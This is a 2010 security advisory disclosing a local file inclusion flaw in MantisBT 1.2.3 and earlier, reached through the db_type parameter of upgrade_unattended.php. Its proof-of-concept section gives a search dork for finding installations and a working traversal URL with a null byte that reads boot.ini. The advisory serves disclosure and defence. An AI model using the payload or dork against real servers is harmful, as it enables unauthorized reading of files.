MantisBT 1.2.3 Local File Inclusion

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MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability  
  
  
Vendor: MantisBT Group  
Product web page: http://www.mantisbt.org  
Version affected: <1.2.4  
  
Summary: MantisBT is a free popular web-based bugtracking system. It is written in the PHP  
scripting language and works with MySQL, MS SQL, and PostgreSQL databases and a webserver.  
MantisBT has been installed on Windows, Linux, Mac OS, OS/2, and others. Almost any web  
browser should be able to function as a client. It is released under the terms of the GNU  
General Public License (GPL).  
  
Desc: Mantis Bug Tracker suffers from a local file inlcusion/disclosure (LFI/FD) vulnerability  
when input passed thru the "db_type" parameter (GET & POST) to upgrade_unattended.php script is  
not properly verified before being used to include files. This can be exploited to include files  
from local resources with directory traversal attacks and URL encoded NULL bytes.  
  
  
  
====================================================================================  
--> library/adodb/adodb.inc.php  
  
...  
  
4109:  
4110: $file = ADODB_DIR."/drivers/adodb-".$db.".inc.php";  
4111: @include_once($file);  
  
...  
  
====================================================================================  
  
  
  
Tested on: Microsoft Windows XP Professional SP3 (English)  
Debian GNU/Linux (squeeze)  
Apache 2.2.14 (Win32)  
MySQL 5.1.41  
PHP 5.3.1  
  
Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
Zero Science Lab - http://www.zeroscience.mk  
  
  
Advisory ID: ZSL-2010-4984  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4984.php  
Vendor Advisory URL: http://www.mantisbt.org/bugs/view.php?id=12607  
  
13.12.2010  
  
  
PoC:  
----------  
  
Dork: Copyright+MantisBT Group  
  
LFI/FD: http://[MANTIS_ROOT_HOST]/admin/upgrade_unattended.php?db_type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00  
  
----------  
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